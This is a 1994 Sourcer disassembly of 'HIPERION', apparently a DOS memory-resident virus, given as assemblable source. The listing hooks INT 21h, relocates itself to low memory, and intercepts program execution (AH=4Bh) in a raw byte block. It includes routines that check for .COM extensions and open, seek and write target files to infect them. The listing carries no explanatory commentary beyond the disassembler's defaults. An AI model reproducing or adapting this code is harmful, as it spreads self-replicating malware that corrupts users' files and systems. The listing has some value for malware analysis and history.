PAGE 59,132 ;Disassembly by Adam Jenkins using Sourcer, 1994 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ HIPERION ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 21-Dec-93 ÛÛ ;ÛÛ Passes: 9 Analysis Options on: none ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 5 data_2e equ 1Ah data_3e equ 0CDh data_4e equ 0CEh data_5e equ 0FDh data_6e equ 0FFh seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h hiperion proc far start:: mov bp,offset loc_3 jmp bp ;*Register jump db '................................' db '................................' db '................................' db '............................' db 0CDh, 20h loc_3:: mov si,data_1e loc_4:: mov al,[bp+si+19h] nop mov ds:data_6e[si],al dec si jnz loc_4 ; Jump if not zero push es push ds call sub_7 pop ds pop es mov bp,offset start jmp bp ;*Register jump jmp short loc_8 db 2Eh, 2Eh, 2Eh, 90h, 9Ch, 50h db 80h,0FCh, 4Bh, 75h, 13h, 06h db 53h, 51h, 56h, 1Eh, 52h, 55h db 33h,0EDh,0E8h, 0Fh, 00h, 5Dh db 5Ah, 1Fh, 5Eh, 59h, 5Bh, 07h db 58h, 9Dh,0EAh, 92h, 14h, 69h db 05h, 90h db 0Eh, 07h,0E8h, 47h, 00h, 72h db 44h,0E8h, 61h, 00h, 72h, 3Fh db 0E8h, 72h, 00h, 05h, 00h, 01h db 2Eh, 89h, 86h,0CEh, 00h,0E8h db 5Dh, 00h db 0BAh, 1Ah, 00h, 03h,0D5h,0B9h db 05h, 00h,0B4h, 3Fh,0CDh, 21h db 2Eh, 80h, 7Eh, 1Ah,0BDh, 74h db 1Eh,0E8h, 47h, 00h db 0BAh,0CDh, 00h, 03h,0D5h,0B9h db 05h, 00h,0B4h, 40h,0CDh, 21h db 0E8h, 42h, 00h,0B9h,0FEh, 00h db 8Bh,0D5h,0B4h, 40h,0CDh, 21h db 0E8h, 1Bh, 00h loc_ret_6:: retn hiperion endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near push bx mov bx,dx loc_7:: inc bx cmp byte ptr [bx],2Eh ; '.' jne loc_7 ; Jump if not equal inc bx cmp byte ptr [bx],43h ; 'C' loc_8:: je loc_9 ; Jump if equal cmp byte ptr [bx],63h ; 'c' je loc_9 ; Jump if equal pop bx stc ; Set carry flag retn loc_9:: pop bx clc ; Clear carry flag retn sub_2 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_3 proc near mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle retn sub_3 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_4 proc near mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx pushf ; Push flags mov bx,ax push cs pop ds popf ; Pop flags retn sub_4 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near xor cx,cx ; Zero register xor dx,dx ; Zero register mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset retn sub_5 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near xor cx,cx ; Zero register xor dx,dx ; Zero register mov ax,4202h int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset retn sub_6 endp db 0BDh, 83h, 01h,0FFh,0E5h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near mov ax,3521h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov [bp+3Dh],bx mov ax,es cmp ax,60h je loc_ret_11 ; Jump if equal mov [bp+3Fh],ax mov si,data_5e mov ax,60h mov ds,ax loc_10:: mov ah,cs:[bp+si] mov [si],ah dec si jge loc_10 ; Jump if > or = ;* mov dx,offset loc_1 ;* db 0BAh, 1Fh, 00h mov ax,2521h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx loc_ret_11:: retn sub_7 endp db 33h seg_a ends end start